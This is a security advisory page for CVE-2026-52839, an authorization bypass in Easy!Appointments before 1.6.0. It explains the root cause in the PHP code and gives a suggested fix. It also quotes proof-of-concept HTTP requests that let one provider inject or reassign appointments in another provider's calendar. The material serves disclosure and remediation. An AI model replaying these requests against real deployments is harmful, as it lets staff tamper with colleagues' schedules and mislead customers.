CVE-2026-52839: Alextselegidis/easyappointments Easy!Appointments Appointments/store And Appointments/update Allow Vulnerability

LOW
Advisory Identifier: GHSA-w8xc-8g92-v77h
CVSS 3.3
CWE-639 CWE-862
Published
Advisory Summary

CVE-2026-52839 is a LOW (CVSS 3.3) easy!appointments appointments/store and appointments/update allow vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Alextselegidis/easyappointments libraries in the Packagist ecosystem. The issue involves easy!appointments appointments/store and appointments/update allow cross-provider appointment injection — authorization bypass. Remediation is available by upgrading affected packages to version 1.6.0.

CVE-2026-52839 at a Glance

CVE Identifier CVE-2026-52839
GHSA Identifier GHSA-w8xc-8g92-v77h
Severity LOW
CVSS v3.1 Base Score 3.3
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Alextselegidis/easyappointments
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 3.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-52839

To remediate this vulnerability, upgrade all affected Alextselegidis/easyappointments dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

alextselegidis/easyappointments fixed: 1.6.0
Upgrade alextselegidis/easyappointments to 1.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for alextselegidis/easyappointments

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52839, inspect your project dependencies for Alextselegidis/easyappointments:

inspect dependencies for alextselegidis/easyappointments

Analyze the terminal output to locate any version of Alextselegidis/easyappointments in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Alextselegidis/easyappointments, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Easy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session. A normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted. --- ## Root Cause — Step by Step Code Flow ### Step 1 — Search correctly enforces provider isolation The `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary: ```php // Appointments.php if ($role_slug === DB_SLUG_PROVIDER) { foreach ($appointments as $index => $appointment) { if ((int) $appointment['id_users_provider'] !== (int) $user_id) { unset($appointments[$index]); } } } ``` ### Step 2 — store() only checks generic add permission The store endpoint checks only whether the caller can add appointments in general — no provider ownership check: ```php // Appointments.php line 74-152 if (cannot('add', PRIV_APPOINTMENTS)) { abort(403, 'Forbidden'); } $appointment = json_decode(request('appointment'), true); ``` ### Step 3 — Attacker-controlled id_users_provider saved directly The controller whitelists and persists the appointment including the attacker-controlled provider ID: ```php $this->appointments_model->only($appointment, $this->allowed_appointment_fields); $appointment_id = $this->appointments_model->save($appointment); ``` No check is performed to verify `id_users_provider` matches the current session. ### Step 4 — Write-before-crash on store() After the unauthorized row is committed, the controller crashes on a type error: ```php $appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id ``` The attacker receives a 500 error response, but the foreign appointment row is already in the database. ### Step 5 — update() has the same missing ownership check The update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check: ```php // Appointments.php line 178-196 if (cannot('edit', PRIV_APPOINTMENTS)) { abort(403, 'Forbidden'); } $appointment = json_decode(request('appointment'), true); $appointment_id = $this->appointments_model->save($appointment); ``` A provider can reassign any appointment they can edit into a foreign provider's calendar. --- ## Proof of Concept **Attacker:** Provider with session ID `4` **Target:** Foreign provider with ID `2` **Step 1 — Inject appointment into foreign provider's schedule:** ```http POST /index.php/appointments/store HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <provider-4-session> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1} ``` Response: `500 Internal Server Error` — type error on find() **But the row is committed:** ``` id start_datetime id_users_provider notes 6 2026-05-29 15:00:00 2 foreign provider create by alicer ``` Provider 4 created a row that belongs to provider 2. --- **Step 2 — Reassign existing appointment to foreign provider:** ```http POST /index.php/appointments/update HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <provider-4-session> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1} ``` Response: `200 OK` **Result:** Appointment 7 now belongs to provider 2 instead of provider 4. **Runtime verification result:** ``` attacker provider id: 4 foreign created appointment provider id: 2 reassigned appointment provider id: 2 provider-visible appointments: 0 PASS ``` The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider. --- ## Real World Impact In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can: - Inject fake appointments into a colleague's schedule causing confusion and double-bookings - Move their own appointments into another provider's calendar to hide or offload them - Disrupt scheduling integrity for staff and customers - Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed. --- ## Suggested Fix **In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles: ```php if ($role_slug === DB_SLUG_PROVIDER) { $appointment['id_users_provider'] = $user_id; // force own provider ID } ``` **Fix the write-before-crash bug in `store()`:** ```php $appointment_id = $this->appointments_model->save($appointment); $appointment = $this->appointments_model->find($appointment_id); // use ID not array ``` --- ## Reporter **Yash Shendge (ashrexon)** 2026-05-25

CVE-2026-52839 Affected Alextselegidis/easyappointments Versions

1 component(s)
Fixed Versions:
1.6.0
Product / Package Ecosystem Affected Versions Fixed Version
alextselegidis/easyappointments
Packagist
< 1.6.0
1.6.0

References

Frequently Asked Questions

What is CVE-2026-52839?
CVE-2026-52839 is a security vulnerability in Alextselegidis/easyappointments involving Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Alextselegidis/easyappointments versions are affected?
Affected versions include releases prior to 1.6.0 across affected packages: alextselegidis/easyappointments.
What version fixes CVE-2026-52839?
Upgrading to 1.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is alextselegidis/easyappointments affected?
Yes, alextselegidis/easyappointments is affected in releases prior to 1.6.0. Upgrade your dependency to 1.6.0 or later.
What is the CVSS score of CVE-2026-52839?
CVE-2026-52839 has a CVSS v3.1 base score of 3.3 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-52839?
CVE-2026-52839 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Packagist dependencies for CVE-2026-52839?
Run the dependency tree command: 'inspect dependencies for alextselegidis/easyappointments'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w8xc-8g92-v77h",
  "modified" : "2026-07-29T16:26:25Z",
  "published" : "2026-07-29T16:26:25Z",
  "aliases" : [ "CVE-2026-52839" ],
  "summary" : "Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass",
  "details" : "## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    foreach ($appointments as $index => $appointment) {\n        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {\n            unset($appointments[$index]);\n        }\n    }\n}\n```\n \n### Step 2 — store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general — no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot('add', PRIV_APPOINTMENTS)) {\n    abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n```\n \n### Step 3 — Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this->appointments_model->only($appointment, $this->allowed_appointment_fields);\n$appointment_id = $this->appointments_model->save($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 — Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 — update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot('edit', PRIV_APPOINTMENTS)) {\n    abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n$appointment_id = $this->appointments_model->save($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider's calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 — Inject appointment into foreign provider's schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: <provider-4-session>\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=<token>&appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` — type error on find()\n \n**But the row is committed:**\n```\nid  start_datetime        id_users_provider  notes\n6   2026-05-29 15:00:00   2                  foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 — Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: <provider-4-session>\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=<token>&appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id:                    4\nforeign created appointment provider id: 2\nreassigned appointment provider id:      2\nprovider-visible appointments:           0\nPASS\n```\n \nThe attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:\n \n- Inject fake appointments into a colleague's schedule causing confusion and double-bookings\n- Move their own appointments into another provider's calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    $appointment['id_users_provider'] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this->appointments_model->save($appointment);\n$appointment = $this->appointments_model->find($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "alextselegidis/easyappointments"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52839"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/alextselegidis/easyappointments"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-862" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T16:26:25Z",
    "nvd_published_at" : "2026-07-14T16:17:00Z"
  }
}